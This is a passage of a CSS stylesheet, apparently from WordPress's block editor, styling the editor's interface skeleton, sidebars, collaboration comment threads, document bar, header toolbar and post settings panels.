  .has-footer .interface-interface-skeleton__body{
    padding-bottom:25px;
  }
}

.interface-interface-skeleton__content{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:auto;
  z-index:20;
}
@media (min-width:782px){
  .interface-interface-skeleton__content{
    z-index:auto;
  }
}

.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
  background:#fff;
  bottom:0;
  color:#1e1e1e;
  flex-shrink:0;
  left:0;
  position:absolute;
  top:0;
  width:auto;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
    position:relative !important;
  }
}

.interface-interface-skeleton__sidebar{
  border-top:1px solid #e0e0e0;
  overflow:hidden;
}
@media (min-width:782px){
  .interface-interface-skeleton__sidebar{
    box-shadow:-1px 0 0 0 rgba(0,0,0,.133);
    outline:1px solid #0000;
  }
}

.interface-interface-skeleton__secondary-sidebar{
  border-top:1px solid #e0e0e0;
  right:0;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar{
    box-shadow:1px 0 0 0 rgba(0,0,0,.133);
    outline:1px solid #0000;
  }
}

.interface-interface-skeleton__header{
  box-shadow:0 1px 0 0 rgba(0,0,0,.133);
  color:#1e1e1e;
  flex-shrink:0;
  height:auto;
  outline:1px solid #0000;
  z-index:30;
}

.interface-interface-skeleton__footer{
  background-color:#fff;
  border-top:1px solid #e0e0e0;
  bottom:0;
  color:#1e1e1e;
  display:none;
  flex-shrink:0;
  height:auto;
  left:0;
  position:absolute;
  width:100%;
  z-index:90;
}
@media (min-width:782px){
  .interface-interface-skeleton__footer{
    display:flex;
  }
}
.interface-interface-skeleton__footer .block-editor-block-breadcrumb{
  align-items:center;
  background:#fff;
  display:flex;
  font-size:13px;
  height:24px;
  padding:0 18px;
  z-index:30;
}

.interface-interface-skeleton__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:auto;
  position:fixed !important;
  right:0;
  top:-9999em;
  width:100vw;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__actions{
    width:280px;
  }
}
.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{
  bottom:0;
  top:auto;
}
.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
  top:46px;
}
@media (min-width:782px){
  .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    border-left:1px solid #ddd;
    top:32px;
  }
  .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    top:0;
  }
}

.interface-pinned-items{
  display:flex;
  gap:8px;
}
.interface-pinned-items .components-button{
  display:none;
  margin:0;
}
.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{
  display:flex;
}
.interface-pinned-items .components-button svg{
  max-height:24px;
  max-width:24px;
}
@media (min-width:600px){
  .interface-pinned-items .components-button{
    display:flex;
  }
}

.editor-autocompleters__user .editor-autocompleters__no-avatar:before{
  content:"\f110";
  font:normal 20px/1 dashicons;
  margin-right:5px;
  vertical-align:middle;
}
.editor-autocompleters__user .editor-autocompleters__user-avatar{
  flex-grow:0;
  flex-shrink:0;
  height:24px;
  margin-right:8px;
  max-width:none;
  width:24px;
}
.editor-autocompleters__user .editor-autocompleters__user-name{
  flex-grow:1;
  flex-shrink:0;
  max-width:200px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.editor-autocompleters__user .editor-autocompleters__user-slug{
  color:#757575;
  flex-grow:0;
  flex-shrink:0;
  margin-left:8px;
  max-width:100px;
  overflow:none;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.editor-autocompleters__user:hover .editor-autocompleters__user-slug{
  color:var(--wp-admin-theme-color);
}

.interface-interface-skeleton__sidebar:has(.editor-collab-sidebar){
  box-shadow:none;
}
.interface-interface-skeleton__sidebar:has(.editor-collab-sidebar) .interface-complementary-area-header{
  display:none;
}

.editor-collab-sidebar{
  height:100%;
}

.editor-collab-sidebar-panel{
  height:100%;
  padding:16px;
}
.editor-collab-sidebar-panel__thread{
  background-color:#f0f0f0;
  border:1.5px solid #ddd;
  border-radius:8px;
  margin-bottom:16px;
  padding:16px;
  position:relative;
}
.editor-collab-sidebar-panel__active-thread{
  border:1.5px solid #3858e9;
}
.editor-collab-sidebar-panel__focus-thread{
  background-color:#fff;
  border:1.5px solid #3858e9;
  box-shadow:0 5.5px 7.8px -.3px rgba(0,0,0,.102);
}
.editor-collab-sidebar-panel__comment-field{
  flex:1;
}
.editor-collab-sidebar-panel__child-thread{
  margin-top:15px;
}
.editor-collab-sidebar-panel__user-name{
  text-transform:capitalize;
}
.editor-collab-sidebar-panel__user-name,.editor-collab-sidebar-panel__user-time{
  color:#757575;
  font-size:12px;
  font-weight:400;
  line-height:16px;
  text-align:left;
}
.editor-collab-sidebar-panel__user-comment{
  color:#1e1e1e;
  font-size:13px;
  font-weight:400;
  line-height:20px;
  text-align:left;
}
.editor-collab-sidebar-panel__user-comment p{
  margin-bottom:0;
}
.editor-collab-sidebar-panel__user-avatar{
  border-radius:50%;
  flex-shrink:0;
}
.editor-collab-sidebar-panel__thread-overlay{
  background-color:#000000b3;
  border-radius:8px;
  color:#fff;
  height:100%;
  left:0;
  padding:15px;
  position:absolute;
  text-align:center;
  top:0;
  width:100%;
  z-index:1;
}
.editor-collab-sidebar-panel__thread-overlay p{
  margin-bottom:15px;
}
.editor-collab-sidebar-panel__thread-overlay button{
  color:#fff;
  padding:4px 10px;
}
.editor-collab-sidebar-panel__comment-status{
  margin-left:auto;
}
.editor-collab-sidebar-panel__comment-status button.has-icon:not(.has-text){
  flex-shrink:0;
  height:24px;
  min-width:24px;
  padding:0;
  width:24px;
}
.editor-collab-sidebar-panel__comment-dropdown-menu{
  flex-shrink:0;
}
.editor-collab-sidebar-panel__comment-dropdown-menu button.has-icon{
  height:24px;
  min-width:24px;
  padding:0;
  width:24px;
}
.editor-collab-sidebar-panel__show-more-reply{
  font-style:italic;
  font-weight:500;
  padding:0;
}

.editor-collapsible-block-toolbar{
  align-items:center;
  display:flex;
  height:60px;
  overflow:hidden;
}
.editor-collapsible-block-toolbar .block-editor-block-contextual-toolbar{
  background:#0000;
  border-bottom:0;
  height:100%;
}
.editor-collapsible-block-toolbar .block-editor-block-toolbar{
  height:100%;
  padding-top:15px;
}
.editor-collapsible-block-toolbar .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){
  height:32px;
}
.editor-collapsible-block-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-right:7px;
  width:1px;
}
.editor-collapsible-block-toolbar .components-toolbar,.editor-collapsible-block-toolbar .components-toolbar-group{
  border-right:none;
  position:relative;
}
.editor-collapsible-block-toolbar .components-toolbar-group:after,.editor-collapsible-block-toolbar .components-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  position:absolute;
  right:-1px;
  top:4px;
  width:1px;
}
.editor-collapsible-block-toolbar .components-toolbar .components-toolbar-group.components-toolbar-group:after,.editor-collapsible-block-toolbar .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{
  display:none;
}
.editor-collapsible-block-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{
  height:32px;
  overflow:visible;
}
@media (min-width:600px){
  .editor-collapsible-block-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    height:40px;
    position:relative;
    top:-5px;
  }
}
.editor-collapsible-block-toolbar.is-collapsed{
  display:none;
}

.editor-content-only-settings-menu__description{
  min-width:235px;
  padding:8px;
}

.editor-blog-title-dropdown__content .components-popover__content{
  min-width:320px;
  padding:16px;
}

.editor-document-bar{
  align-items:center;
  background:#f0f0f0;
  border-radius:4px;
  display:flex;
  height:32px;
  justify-content:space-between;
  min-width:0;
  width:min(100%, 450px);
}
.editor-document-bar:hover{
  background-color:#e0e0e0;
}
.editor-document-bar .components-button{
  border-radius:4px;
}
@media not (prefers-reduced-motion){
  .editor-document-bar .components-button{
    transition:all .1s ease-out;
  }
}
.editor-document-bar .components-button:hover{
  background:#e0e0e0;
}
@media screen and (min-width:782px) and (max-width:960px){
  .editor-document-bar.has-back-button .editor-document-bar__post-type-label{
    display:none;
  }
}

.editor-document-bar__command{
  color:var(--wp-block-synced-color);
  flex-grow:1;
  overflow:hidden;
}

.editor-document-bar__title{
  color:#1e1e1e;
  margin:0 auto;
  max-width:70%;
  overflow:hidden;
}
@media (min-width:782px){
  .editor-document-bar__title{
    padding-left:24px;
  }
}
.editor-document-bar__title h1{
  align-items:center;
  display:flex;
  font-weight:400;
  justify-content:center;
  overflow:hidden;
  white-space:nowrap;
}

.editor-document-bar__post-title{
  color:currentColor;
  flex:1;
  overflow:hidden;
  text-overflow:ellipsis;
}

.editor-document-bar__post-type-label{
  color:#2f2f2f;
  flex:0;
  padding-left:4px;
}
@media screen and (max-width:600px){
  .editor-document-bar__post-type-label{
    display:none;
  }
}

.editor-document-bar__shortcut{
  color:#2f2f2f;
  display:none;
  min-width:24px;
}
@media (min-width:782px){
  .editor-document-bar__shortcut{
    display:initial;
  }
}

.editor-document-bar__back.components-button.has-icon.has-text{
  color:#757575;
  flex-shrink:0;
  gap:0;
  min-width:36px;
  position:absolute;
  z-index:1;
}
.editor-document-bar__back.components-button.has-icon.has-text:hover{
  background-color:initial;
  color:#1e1e1e;
}

.editor-document-bar__icon-layout.editor-document-bar__icon-layout{
  display:none;
  margin-left:12px;
  pointer-events:none;
  position:absolute;
}
.editor-document-bar__icon-layout.editor-document-bar__icon-layout svg{
  fill:#949494;
}
@media (min-width:600px){
  .editor-document-bar__icon-layout.editor-document-bar__icon-layout{
    display:flex;
  }
}

.document-outline{
  margin:20px 0;
}
.document-outline ul{
  margin:0;
  padding:0;
}

.document-outline__item{
  display:flex;
  margin:4px 0;
}
.document-outline__item a{
  text-decoration:none;
}
.document-outline__item .document-outline__emdash:before{
  color:#ddd;
  margin-right:4px;
}
.document-outline__item.is-h2 .document-outline__emdash:before{
  content:"—";
}
.document-outline__item.is-h3 .document-outline__emdash:before{
  content:"——";
}
.document-outline__item.is-h4 .document-outline__emdash:before{
  content:"———";
}
.document-outline__item.is-h5 .document-outline__emdash:before{
  content:"————";
}
.document-outline__item.is-h6 .document-outline__emdash:before{
  content:"—————";
}

.document-outline__button{
  align-items:flex-start;
  background:none;
  border:none;
  border-radius:2px;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  margin:0 0 0 -1px;
  padding:2px 5px 2px 1px;
  text-align:left;
}
.document-outline__button:disabled,.document-outline__button[aria-disabled=true]{
  color:#757575;
  cursor:default;
}
.document-outline__button:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.document-outline__level{
  background:#ddd;
  border-radius:3px;
  color:#1e1e1e;
  font-size:13px;
  margin-right:4px;
  padding:1px 6px;
}
.is-invalid .document-outline__level{
  background:#f0b849;
}

.document-outline__item-content{
  padding:1px 0;
}

.editor-document-outline.has-no-headings{
  color:#757575;
  text-align:center;
}
.editor-document-outline.has-no-headings>svg{
  margin-top:28px;
}
.editor-document-outline.has-no-headings>p{
  padding-left:32px;
  padding-right:32px;
}

.editor-document-tools{
  align-items:center;
  display:inline-flex;
}
.editor-document-tools .editor-document-tools__left>.editor-history__redo,.editor-document-tools .editor-document-tools__left>.editor-history__undo{
  display:none;
}
@media (min-width:782px){
  .editor-document-tools .editor-document-tools__left>.editor-history__redo,.editor-document-tools .editor-document-tools__left>.editor-history__undo{
    display:inline-flex;
  }
}
.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle{
  display:inline-flex;
}
@media not (prefers-reduced-motion){
  .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{
    transition:transform .2s cubic-bezier(.165, .84, .44, 1);
  }
}
.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.is-pressed svg{
  transform:rotate(45deg);
}
.editor-document-tools .block-editor-list-view{
  display:none;
}
@media (min-width:600px){
  .editor-document-tools .block-editor-list-view{
    display:flex;
  }
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon{
  height:32px;
  min-width:32px;
  padding:4px;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon.is-pressed,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon.is-pressed{
  background:#1e1e1e;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon:focus:not(:disabled),.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff;
  outline:1px solid #0000;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon:before,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:before{
  display:none;
}

.editor-document-tools__left{
  align-items:center;
  display:inline-flex;
  gap:8px;
}
.editor-document-tools__left:not(:last-child){
  margin-inline-end:8px;
}

.show-icon-labels .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{
  padding:0 8px;
  width:auto;
}

.show-icon-labels .editor-document-tools__left>*+*{
  margin-left:8px;
}

.editor-editor-interface .entities-saved-states__panel-header{
  height:61px;
}

.editor-editor-interface .interface-interface-skeleton__content{
  isolation:isolate;
}

.editor-visual-editor{
  flex:1 0 auto;
}

.components-editor-notices__dismissible,.components-editor-notices__pinned{
  color:#1e1e1e;
  left:0;
  position:relative;
  right:0;
  top:0;
}
.components-editor-notices__dismissible .components-notice,.components-editor-notices__pinned .components-notice{
  border-bottom:1px solid #0003;
  box-sizing:border-box;
  min-height:60px;
  padding:0 12px;
}
.components-editor-notices__dismissible .components-notice .components-notice__dismiss,.components-editor-notices__pinned .components-notice .components-notice__dismiss{
  margin-top:12px;
}

.entities-saved-states__panel-header{
  background:#fff;
  border-bottom:1px solid #ddd;
  box-sizing:border-box;
  height:60px;
  padding-left:16px;
  padding-right:16px;
}

.entities-saved-states__text-prompt{
  padding:16px 16px 4px;
}
.entities-saved-states__text-prompt .entities-saved-states__text-prompt--header{
  display:block;
  margin-bottom:12px;
}

.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt{
  padding:0;
}
.entities-saved-states__panel.is-inline .entities-saved-states__panel-body{
  border:0;
  padding-left:0;
  padding-right:0;
}
.entities-saved-states__panel.is-inline .entities-saved-states__panel-body>h2{
  margin-bottom:0;
  margin-left:-16px;
  margin-right:-16px;
}
.entities-saved-states__panel.is-inline .entities-saved-states__panel-body>h2 button{
  font-size:11px;
  text-transform:uppercase;
}
.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt--header-wrapper{
  display:none;
}
.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt--changes-count{
  margin-bottom:8px;
  margin-top:0;
}
.entities-saved-states__panel.is-inline .entities-saved-states__panel-footer{
  margin-top:16px;
}

.entities-saved-states__change-control{
  flex:1;
}

.entities-saved-states__changes{
  font-size:13px;
  list-style:disc;
  margin:4px 16px 0 24px;
}
.entities-saved-states__changes li{
  margin-bottom:4px;
}

.editor-error-boundary{
  background-color:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  margin:60px auto auto;
  max-width:780px;
  padding:1em;
}

.editor-header{
  align-items:center;
  background:#fff;
  display:grid;
  grid-auto-flow:row;
  grid-template:auto/60px minmax(0, max-content) minmax(min-content, 1fr) 60px;
  height:60px;
  justify-content:space-between;
  max-width:100vw;
}
.editor-header:has(>.editor-header__center){
  grid-template:auto/60px min-content 1fr min-content 60px;
}
@media (min-width:782px){
  .editor-header:has(>.editor-header__center){
    grid-template:auto/60px minmax(min-content, 2fr) 2.5fr minmax(min-content, 2fr) 60px;
  }
}
@media (min-width:480px){
  .editor-header{
    gap:16px;
  }
}
@media (min-width:280px){
  .editor-header{
    flex-wrap:nowrap;
  }
}

.editor-header__toolbar{
  align-items:center;
  clip-path:inset(-2px);
  display:flex;
  grid-column:1 /  3;
  min-width:0;
}
.editor-header__toolbar>:first-child{
  margin-inline:16px 0;
}
.editor-header__back-button+.editor-header__toolbar{
  grid-column:2 /  3;
}
@media (min-width:480px){
  .editor-header__back-button+.editor-header__toolbar>:first-child{
    margin-inline:0;
  }
  .editor-header__toolbar{
    clip-path:none;
  }
}
.editor-header__toolbar .table-of-contents{
  display:none;
}
@media (min-width:600px){
  .editor-header__toolbar .table-of-contents{
    display:block;
  }
}
.editor-header__toolbar .editor-collapsible-block-toolbar,.editor-header__toolbar .editor-collapsible-block-toolbar.is-collapsed~.editor-collapsible-block-toolbar__toggle{
  margin-inline:8px 0;
}

.editor-header__center{
  align-items:center;
  clip-path:inset(-2px);
  display:flex;
  grid-column:3 /  4;
  justify-content:center;
  min-width:0;
}
@media (max-width:479px){
  .editor-header__center>:first-child{
    margin-inline-start:8px;
  }
  .editor-header__center>:last-child{
    margin-inline-end:8px;
  }
}
.editor-header__settings{
  align-items:center;
  display:inline-flex;
  flex-wrap:nowrap;
  gap:8px;
  grid-column:3 /  -1;
  justify-self:end;
  padding-right:4px;
}
.editor-header:has(>.editor-header__center) .editor-header__settings{
  grid-column:4 /  -1;
}
@media (min-width:600px){
  .editor-header__settings{
    padding-right:8px;
  }
}
.show-icon-labels .editor-header .components-button.has-icon,.show-icon-labels.interface-pinned-items .components-button.has-icon{
  width:auto;
}
.show-icon-labels .editor-header .components-button.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .editor-header .components-button.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon:after{
  content:attr(aria-label);
  white-space:nowrap;
}
.show-icon-labels .editor-header .components-button.has-icon[aria-disabled=true],.show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true]{
  background-color:initial;
}
.show-icon-labels .editor-header .is-tertiary:active,.show-icon-labels.interface-pinned-items .is-tertiary:active{
  background-color:initial;
  box-shadow:0 0 0 1.5px var(--wp-admin-theme-color);
}
.show-icon-labels .editor-header .components-button.has-icon.button-toggle svg,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg{
  display:block;
}
.show-icon-labels .editor-header .components-button.has-icon.button-toggle:after,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle:after{
  content:none;
}
.show-icon-labels .editor-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon{
  display:block;
}
.show-icon-labels .editor-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .editor-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{
  padding-left:8px;
  padding-right:8px;
}
@media (min-width:600px){
  .show-icon-labels .editor-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .editor-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{
    padding-left:12px;
    padding-right:12px;
  }
}
.show-icon-labels .editor-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .editor-header .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .editor-post-saved-state.editor-post-saved-state:after{
  content:none;
}

.show-icon-labels .editor-header__toolbar .block-editor-block-mover{
  border-left:none;
}
.show-icon-labels .editor-header__toolbar .block-editor-block-mover:before{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-left:8px;
  margin-top:4px;
  width:1px;
}
.show-icon-labels .editor-header__toolbar .block-editor-block-mover .block-editor-block-mover__move-button-container:before{
  background:#ddd;
  left:calc(50% + 1px);
  width:calc(100% - 24px);
}

.show-icon-labels.interface-pinned-items{
  border-bottom:1px solid #ccc;
  display:block;
  margin:0 -12px;
  padding:6px 12px 12px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon{
  justify-content:flex-start;
  margin:0;
  padding:6px 6px 6px 8px;
  width:14.625rem;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=true] svg{
  display:block;
  max-width:24px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=false]{
  padding-left:40px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon svg{
  margin-right:8px;
}

@media (min-width:480px){
  .editor-header__post-preview-button{
    display:none;
  }
}

.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header{
  border-bottom:none;
}
.editor-editor-interface.is-distraction-free .editor-header{
  background-color:#fff;
  width:100%;
}
@media (min-width:782px){
  .editor-editor-interface.is-distraction-free .editor-header{
    box-shadow:0 1px 0 0 rgba(0,0,0,.133);
    position:absolute;
  }
}
.editor-editor-interface.is-distraction-free .editor-header>.edit-post-header__settings>.edit-post-header__post-preview-button{
  visibility:hidden;
}
.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.editor-preview-dropdown,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.editor-zoom-out-toggle,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.interface-pinned-items,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__toolbar .editor-document-tools__document-overview-toggle{
  display:none;
}
.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header:focus-within{
  opacity:1 !important;
}
.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header:focus-within div{
  transform:translateX(0) translateZ(0) !important;
}
.editor-editor-interface.is-distraction-free .components-editor-notices__dismissible{
  position:absolute;
  z-index:35;
}

.components-popover.more-menu-dropdown__content{
  z-index:99998;
}

.editor-inserter-sidebar{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  height:100%;
}
.editor-inserter-sidebar *,.editor-inserter-sidebar :after,.editor-inserter-sidebar :before{
  box-sizing:inherit;
}

.editor-inserter-sidebar__content{
  height:100%;
}

.editor-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.editor-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.editor-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.editor-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.editor-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.editor-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 0 0 1rem;
  text-align:right;
}
.editor-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  margin:0;
}
.editor-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.editor-keyboard-shortcut-help-modal__shortcut-key-combination+.editor-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.editor-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.editor-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 0 0 .2rem;
}

.editor-list-view-sidebar{
  height:100%;
}
@media (min-width:782px){
  .editor-list-view-sidebar{
    width:350px;
  }
}

.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{
  height:100%;
  overflow:auto;
  padding:4px;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:auto;
  scrollbar-width:thin;
  will-change:transform;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-track,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-track{
  background-color:initial;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.editor-list-view-sidebar__list-view-container>.document-outline:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:hover::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.editor-list-view-sidebar__list-view-container>.document-outline:focus,.editor-list-view-sidebar__list-view-container>.document-outline:focus-within,.editor-list-view-sidebar__list-view-container>.document-outline:hover,.editor-list-view-sidebar__list-view-panel-content:focus,.editor-list-view-sidebar__list-view-panel-content:focus-within,.editor-list-view-sidebar__list-view-panel-content:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{
    scrollbar-color:#949494 #0000;
  }
}

.editor-list-view-sidebar__list-view-container{
  display:flex;
  flex-direction:column;
  height:100%;
}

.editor-list-view-sidebar__tab-panel{
  height:100%;
}

.editor-list-view-sidebar__outline{
  border-bottom:1px solid #ddd;
  display:flex;
  flex-direction:column;
  gap:8px;
  padding:16px;
}
.editor-list-view-sidebar__outline>div>span:first-child{
  display:inline-block;
  width:90px;
}
.editor-list-view-sidebar__outline>div>span{
  color:#757575;
  font-size:12px;
  line-height:1.4;
}

.editor-post-order__panel,.editor-post-parent__panel{
  padding-top:8px;
}
.editor-post-order__panel .editor-post-panel__row-control>div,.editor-post-parent__panel .editor-post-panel__row-control>div{
  width:100%;
}

.editor-post-order__panel-dialog .editor-post-order,.editor-post-order__panel-dialog .editor-post-parent,.editor-post-parent__panel-dialog .editor-post-order,.editor-post-parent__panel-dialog .editor-post-parent{
  margin:8px;
}
.editor-post-order__panel-dialog .components-popover__content,.editor-post-parent__panel-dialog .components-popover__content{
  min-width:320px;
}

.editor-post-author__panel{
  padding-top:8px;
}

.editor-post-author__panel .editor-post-panel__row-control>div{
  width:100%;
}

.editor-post-author__panel-dialog .editor-post-author{
  margin:8px;
  min-width:248px;
}

.editor-action-modal{
  z-index:1000001;
}

.editor-post-card-panel__content{
  flex-grow:1;
}
.editor-post-card-panel__title{
  width:100%;
}
.editor-post-card-panel__title.editor-post-card-panel__title{
  align-items:center;
  column-gap:8px;
  display:flex;
  flex-wrap:wrap;
  font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:500;
  line-height:20px;
  margin:0;
  row-gap:4px;
  word-break:break-word;
}
.editor-post-card-panel__icon{
  flex:0 0 24px;
  height:24px;
  width:24px;
}
.editor-post-card-panel__header{
  display:flex;
  justify-content:space-between;
}
.editor-post-card-panel.has-description .editor-post-card-panel__header{
  margin-bottom:8px;
}
.editor-post-card-panel .editor-post-card-panel__title-name{
  padding:2px 0;
}

.editor-post-card-panel .editor-post-card-panel__description,.editor-post-content-information{
  color:#757575;
}
.editor-post-content-information .components-text{
  color:inherit;
}

.editor-post-discussion__panel-dialog .editor-post-discussion{
  margin:8px;
  min-width:248px;
}

.editor-post-discussion__panel-toggle .components-text{
  color:inherit;
}

.editor-post-discussion__panel-dialog .components-popover__content{
  min-width:320px;
}

.editor-post-excerpt__textarea{
  margin-bottom:10px;
  width:100%;
}

.editor-post-excerpt__dropdown__content .components-popover__content{
  min-width:320px;
  padding:16px;
}

.editor-post-featured-image{
  padding:0;
}
.editor-post-featured-image .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.editor-post-featured-image__container{
  position:relative;
}
.editor-post-featured-image__container:focus .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image),.editor-post-featured-image__container:focus-within .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image),.editor-post-featured-image__container:hover .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image){
  opacity:1;
}
.editor-post-featured-image__container .editor-post-featured-image__actions.editor-post-featured-image__actions-missing-image{
  margin-top:16px;
  opacity:1;
}
.editor-post-featured-image__container .components-drop-zone__content{
  border-radius:2px;
}
.editor-post-featured-image__container:has(.editor-post-featured-image__toggle) .components-drop-zone .components-drop-zone__content-inner{
  align-items:center;
  display:flex;
  gap:8px;
}
.editor-post-featured-image__container:has(.editor-post-featured-image__toggle) .components-drop-zone .components-drop-zone__content-inner .components-drop-zone__content-icon{
  margin:0;
}

.editor-post-featured-image__preview,.editor-post-featured-image__toggle{
